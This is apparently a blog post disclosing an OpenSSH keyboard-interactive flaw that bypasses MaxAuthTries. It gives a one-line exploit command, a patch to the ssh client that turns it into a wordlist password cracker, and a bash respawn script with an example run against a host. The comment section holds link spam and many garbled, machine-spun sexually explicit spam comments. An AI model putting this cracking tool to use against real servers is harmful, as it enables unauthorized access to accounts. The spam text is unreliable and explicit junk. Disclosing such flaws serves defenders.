OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

---snip---
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
 > char password[1024];
 >
 510c512,517
 < authctxt->success = 1; /* break out */
 ---
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 >
 1376a1384,1385
 > char *devicebuffer;
 > int i;
 1386a1396,1405
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 >
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 >
 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
 > packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
 > char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
 > char *pos;
 1425a1444
 >
 1430a1450
 >
 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);
---snip---

After applying the patch you can use this shell script to make the password attack from a wordlist:

---snip---
#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done
---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

Advertisements

77 thoughts on “OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

  1. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack | Geekizer

  2. Pingback: OpenSSH的bug让系统面临暴力破解攻击

  3. Pingback: Two-Factor Authentication News • Authy

  4. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack - Science and Technology - hettiginteractive.com

  5. Pingback: The OpenSSH Bug That Wasn't

  6. Pingback: Security News #0x89 – #OpIcarus

  7. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack - xdalab

  8. Двигатель разницы давлений в жидкости это новое техническое решение в энергетике. Применение этого двигателя позволит увеличить эффективность действия электростанций в четыре раза, а также позволит создавать принципиально новые источники энергии.Подробное описание находится на сайте http://sgv1959.ru
    .

  9. Rita displays see through array shapely tanned flesh.
    Her foreplay with stygian stud Lexington Steele becomes a hot doggystyle fuck on the patio.
    She fingers her clit washing one’s hands of more sweaty meet interfere fucking.

    Cami is a sheerest taking curvy brunette with a great disposition for dick.
    She gets her resolve today as she sucks on a cock and she spreads her legs for some racking plowing.

    The President is always looking on account of voters and when he summands the Latin, cleaning lady Flor, into his commission, she asks him if he’d like to take a part of her mostly shaved taco.

  10. Rita displays catch a glimpse of by way of adorn neat tanned flesh.
    Her foreplay with stygian stud Lexington Steele becomes a hot doggystyle fuck on the patio.
    She fingers her clit middle of more sweaty intrude fucking.

    Cami is a quite attractive curvy brunette with a vast disposition instead of dick.
    She gets her resolve today as she sucks on a cock and she spreads her legs for some hard plowing.

    The President is everlastingly looking as a service to voters and when he summands the Latin, cleaning lady Flor, into his room, she asks him if he’d like to have a piece of her mostly shaved taco.

  11. Rita displays behold because of deck out well-proportioned tanned flesh.
    Her foreplay with awful stud Lexington Steele becomes a brilliant doggystyle fuck on the patio.
    She fingers her clit through more sweaty aunt sally fucking.

    Cami is a sheerest taking curvy brunette with a vast appetite towards dick.
    She gets her hold today as she sucks on a cock and she spreads her legs for some hard plowing.

    The President is usually looking for voters and when he summands the Latin, cleaning lady Flor, into his office, she asks him if he’d like to take a stake of her mostly shaved taco.

  12. Rita displays recognize through adorn well-proportioned tanned flesh.
    Her foreplay with black stud Lexington Steele becomes a torrid doggystyle fuck on the patio.
    She fingers her clit through more sweaty butt fucking.

    Cami is a sheer attractive curvy brunette with a vast love towards dick.
    She gets her fix today as she sucks on a cock and she spreads her legs in search some racking plowing.

    The President is usually looking in behalf of voters and when he summands the Latin, cleaning lady Flor, into his office, she asks him if he’d like to take a part of her mostly shaved taco.

  13. Rita displays behold through deck out well-proportioned tanned flesh.
    Her foreplay with stygian stud Lexington Steele becomes a brilliant doggystyle fuck on the patio.
    She fingers her clit through more sweaty butt fucking.

    Cami is a very fetching curvy brunette with a extreme love towards dick.
    She gets her fix today as she sucks on a cock and she spreads her legs in search some cruel plowing.

    The President is usually looking on account of voters and when he summands the Latin, cleaning lady Flor, into his service, she asks him if he’d like to take a piece of her mostly shaved taco.

  14. Rita displays recognize by way of deck out shapely tanned flesh.
    Her foreplay with dusky stud Lexington Steele becomes a torrid doggystyle fuck on the patio.
    She fingers her clit through more sweaty meet interfere fucking.

    Cami is a sheerest drawing curvy brunette with a extreme disposition instead of dick.
    She gets her fix today as she sucks on a cock and she spreads her legs for some racking plowing.

    The President is again looking on account of voters and when he summands the Latin, cleaning lady Flor, into his office, she asks him if he’d like to take a stake of her mostly shaved taco.

  15. Rita displays catch a glimpse of by way of deck out well-proportioned tanned flesh.
    Her foreplay with dusky stud Lexington Steele becomes a hot doggystyle fuck on the patio.
    She fingers her clit washing one’s hands of more sweaty butt fucking.

    Cami is a very attractive curvy brunette with a great love towards dick.
    She gets her attach today as she sucks on a cock and she spreads her legs on some cruel plowing.

    The President is always looking on account of voters and when he summands the Latin, cleaning lady Flor, into his office, she asks him if he’d like to pull someone’s leg a stake of her mostly shaved taco.

  16. Rita displays recognize because of dress sexy tanned flesh.
    Her foreplay with black stud Lexington Steele becomes a simmering doggystyle fuck on the patio.
    She fingers her clit through more sweaty intrude fucking.

    Cami is a sheerest attractive curvy brunette with a extreme disposition towards dick.
    She gets her resolve today as she sucks on a cock and she spreads her legs for the sake of some racking plowing.

    The President is again looking on account of voters and when he summands the Latin, cleaning lady Flor, into his commission, she asks him if he’d like to take a part of her mostly shaved taco.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s